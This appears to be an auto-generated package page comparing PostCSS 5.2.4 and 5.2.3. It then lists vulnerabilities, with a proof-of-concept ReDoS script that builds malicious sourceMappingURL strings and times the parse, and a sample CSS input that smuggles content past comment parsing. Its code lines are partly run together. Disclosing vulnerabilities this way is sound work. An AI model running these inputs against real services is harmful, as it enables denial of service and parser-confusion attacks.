PostCSS versions 5.2.4 and 5.2.3 are minor releases of a tool designed for transforming styles using JavaScript plugins, offering developers a flexible and powerful way to manipulate CSS. Both versions share a common core, utilizing the same dependencies like chalk for console styling, js-base64 for Base64 encoding, source-map for debugging, and supports-color for terminal color detection. They also have the same development dependencies, used for testing, linting and building the package. Key tools include ava for testing, eslint for code linting, gulp for task running, and Babel-related packages for ensuring compatibility across JavaScript environments.
The primary distinction between the two versions lies in their release dates, with version 5.2.4 being published on September 30, 2016, and version 5.2.3 on September 29, 2016. This suggests that version 5.2.4 likely includes bug fixes or minor improvements implemented after the release of 5.2.3. While the dependency list remains identical, users should prefer the newer version (5.2.4) for potential stability enhancements. For developers already using PostCSS, upgrading from 5.2.3 to 5.2.4 should be a straightforward process, likely involving a simple update to the package version within their project's package.json file and reinstalling dependencies. As PostCSS is a crucial tool for modern web development workflows, ensuring you are using the latest stable version is advisable for optimal performance and compatibility.
All the vulnerabilities related to the version 5.2.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.